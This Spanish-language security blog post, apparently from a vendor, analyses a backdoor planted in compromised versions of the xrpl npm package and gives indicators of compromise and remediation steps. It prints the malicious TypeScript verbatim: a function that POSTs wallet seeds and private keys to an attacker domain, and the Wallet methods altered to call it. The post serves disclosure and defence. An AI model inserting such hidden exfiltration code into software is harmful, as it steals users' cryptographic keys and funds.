A 21 Abr, 20:53 GMT+0, nuestro sistema, Aikido Intel comenzó a alertarnos de cinco nuevas versiones del paquete xrpl. Se trata del SDK oficial para el Ledger XRP, con más de 140.000 descargas semanales. Rápidamente confirmamos que el paquete NPM oficial de XPRL (Ripple) fue comprometido por atacantes sofisticados que colocaron una puerta trasera para robar claves privadas de criptomonedas y obtener acceso a billeteras de criptomonedas. Este paquete es utilizado por cientos de miles de aplicaciones y sitios web, lo que lo convierte en un ataque potencialmente catastrófico a la cadena de suministro del ecosistema de criptomonedas.
Este es el desglose técnico de cómo descubrimos el ataque.

Nuevos paquetes
El usuario mukulljangid
ha publicado cinco nuevas versiones de la biblioteca a partir del 21 de abril, 20:53 GMT+0:

Lo que es interesante es que estas versiones no coinciden con las versiones oficiales como se ve en GitHub, donde la última versión es 4.2.0
:
.png)
El hecho de que estos paquetes aparecieran sin una versión correspondiente en GitHub es muy sospechoso.
El código misterioso
Nuestro sistema detectó un código extraño en estos nuevos paquetes. Esto es lo que identificó en el src/index.ts
archivo en versión 4.2.4
(Que está etiquetado como última
):
export { Client, ClientOptions } from './client'
export * from './models'
export * from './utils'
export { default as ECDSA } from './ECDSA'
export * from './errors'
export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'
export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'
export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'
export * from './Wallet/signer'
const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
if (validSeeds.has(seed)) return
validSeeds.add(seed)
fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}
Todo parece normal hasta el final. ¿Qué es esto? checkValidityOfSeed
¿? ¿Y por qué llama a un dominio aleatorio llamado 0x9c[.]xyz
? ¡Vamos a la madriguera del conejo!
¿Cuál es el dominio?
Primero examinamos el dominio para averiguar si podía ser legítimo. Obtuvimos los detalles del whois:

Así que no es genial. Es un dominio nuevo. Muy sospechoso.
¿Qué hace el código?
El código en sí sólo define un método, pero no hay llamadas inmediatas a él. Así que investigamos si se utiliza en algún sitio. Y sí, se utiliza.
.png)
Vemos que se llama en funciones como el constructor de la aplicación Cartera
clase (src/Wallet/index.ts
), robando claves privadas tan pronto como se instancie un objeto Cartera:
public constructor(
publicKey: string,
privateKey: string,
opts: {
masterAddress?: string
seed?: string
} = {},
) {
this.publicKey = publicKey
this.privateKey = privateKey
this.classicAddress = opts.masterAddress
? ensureClassicAddress(opts.masterAddress)
: deriveAddress(publicKey)
this.seed = opts.seed
checkValidityOfSeed(privateKey)
}
Y estas funciones:
private static deriveWallet(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const { publicKey, privateKey } = deriveKeypair(seed, {
algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
})
checkValidityOfSeed(privateKey)
return new Wallet(publicKey, privateKey, {
seed,
masterAddress: opts.masterAddress,
})
}
private static fromRFC1751Mnemonic(
mnemonic: string,
opts: { masterAddress?: string; algorithm?: ECDSA },
): Wallet {
const seed = rfc1751MnemonicToKey(mnemonic)
let encodeAlgorithm: 'ed25519' | 'secp256k1'
if (opts.algorithm === ECDSA.ed25519) {
encodeAlgorithm = 'ed25519'
} else {
// Defaults to secp256k1 since that's the default for `wallet_propose`
encodeAlgorithm = 'secp256k1'
}
const encodedSeed = encodeSeed(seed, encodeAlgorithm)
checkValidityOfSeed(encodedSeed)
return Wallet.fromSeed(encodedSeed, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
public static fromMnemonic(
mnemonic: string,
opts: {
masterAddress?: string
derivationPath?: string
mnemonicEncoding?: 'bip39' | 'rfc1751'
algorithm?: ECDSA
} = {},
): Wallet {
if (opts.mnemonicEncoding === 'rfc1751') {
return Wallet.fromRFC1751Mnemonic(mnemonic, {
masterAddress: opts.masterAddress,
algorithm: opts.algorithm,
})
}
// Otherwise decode using bip39's mnemonic standard
if (!validateMnemonic(mnemonic, wordlist)) {
throw new ValidationError(
'Unable to parse the given mnemonic using bip39 encoding',
)
}
const seed = mnemonicToSeedSync(mnemonic)
checkValidityOfSeed(mnemonic)
const masterNode = HDKey.fromMasterSeed(seed)
const node = masterNode.derive(
opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
)
validateKey(node)
const publicKey = bytesToHex(node.publicKey)
const privateKey = bytesToHex(node.privateKey)
return new Wallet(publicKey, `00${privateKey}`, {
masterAddress: opts.masterAddress,
})
}
public static fromEntropy(
entropy: Uint8Array | number[],
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
const options = {
entropy: Uint8Array.from(entropy),
algorithm,
}
const seed = generateSeed(options)
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm,
masterAddress: opts.masterAddress,
})
}
public static fromSeed(
seed: string,
opts: { masterAddress?: string; algorithm?: ECDSA } = {},
): Wallet {
checkValidityOfSeed(seed)
return Wallet.deriveWallet(seed, {
algorithm: opts.algorithm,
masterAddress: opts.masterAddress,
})
}
public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
if (!Object.values(ECDSA).includes(algorithm)) {
throw new ValidationError('Invalid cryptographic signing algorithm')
}
const seed = generateSeed({ algorithm })
checkValidityOfSeed(seed)
return Wallet.fromSeed(seed, { algorithm })
}
¿Por qué tantos baches de versión?
Al investigar estos paquetes, observamos que los dos primeros paquetes publicados (4.2.1
y 4.2.2
) eran diferentes de las demás. Hicimos una diferencia de 3 vías en las versiones 4.2.0
(Lo cual es legítimo), 4.2.1
y 4.2.2
para averiguar qué estaba pasando. Esto es lo que observamos:
- A partir de
4.2.1
Elguiones
ymás bonito
se eliminó la configuración depaquete.json
. - La primera versión que inserta código malicioso en
src/Wallet/index.js
fue4.2.2
. - Ambos
4.2.1
y4.2.2
contenía un maliciosobuild/xrp-latest-min.js
ybuild/xrp-latest.js
.
Si comparamos 4.2.2
a 4.2.3
y 4.2.4
vemos más cambios maliciosos. Anteriormente sólo se había modificado el código JavaScript empaquetado. Estos también incluyeron los cambios maliciosos a la versión TypeScript del código
- El código mostrado anteriormente cambia a
src/index.ts
. - El cambio de código malicioso a
src/Wallet/index.ts
. - En lugar de que el código malicioso se haya insertado a mano en los archivos construidos, el backdoor insertado en
index.ts
se llama.
A partir de esto, podemos ver que el atacante estaba trabajando activamente en el ataque, probando diferentes formas de insertar la puerta trasera mientras permanecía lo más oculta posible. Pasando de insertar manualmente el backdoor en el código JavaScript construido, a ponerlo en el código TypeScript y luego compilarlo en la versión construida.
Aikido Intel
Este malware fue detectado por Aikido Intel, la fuente pública de amenazas de Aikido que utiliza LLMs para monitorizar los gestores de paquetes públicos como NPM para identificar cuando se añade código malicioso a paquetes nuevos o existentes. Si quieres estar protegido contra el malware y las vulnerabilidades no reveladas, puedes suscribirte al feed de amenazas de Intel o registrarte en Aikido Security .
Indicadores de compromiso
Para determinar si usted puede haber sido comprometido, aquí están los indicadores que puede utilizar:
Nombre del paquete
xrpl
Versiones de paquetes
Compruebe su paquete.json
y paquete-lock.json
para estas versiones:
- 4.2.4
- 4.2.3
- 4.2.2
- 4.2.1
- 2.14.2
Preste atención a si tenía el paquete como una dependencia que no estaba fijada con un archivo de bloqueo de paquete, o si estaba utilizando un archivo especificación de versión aproximada/compatible como ~4.2.0
o ^4.2.0
como ejemplos.
Si cree que puede haber instalado alguno de los paquetes anteriores durante el periodo comprendido entre el 21 de abril, 20:53 GMT+0 y el 22 de abril, 13:00 GMT+0, inspeccione sus registros de red en busca de conexiones salientes al host indicado a continuación:
Dominio
- 0x9c[.]xyz
Remediación
Si crees que puedes haber sido afectado, es importante asumir que cualquier semilla o clave privada que haya sido procesada por el código ha sido comprometida. Esas claves ya no deben ser utilizadas, y cualquier activo asociado a ellas debe ser movido a otro monedero/clave inmediatamente. Desde que se dio a conocer el problema, el equipo de xrpl ha publicado dos nuevas versiones para anular los paquetes comprometidos:
- 4.2.5
- 2.14.3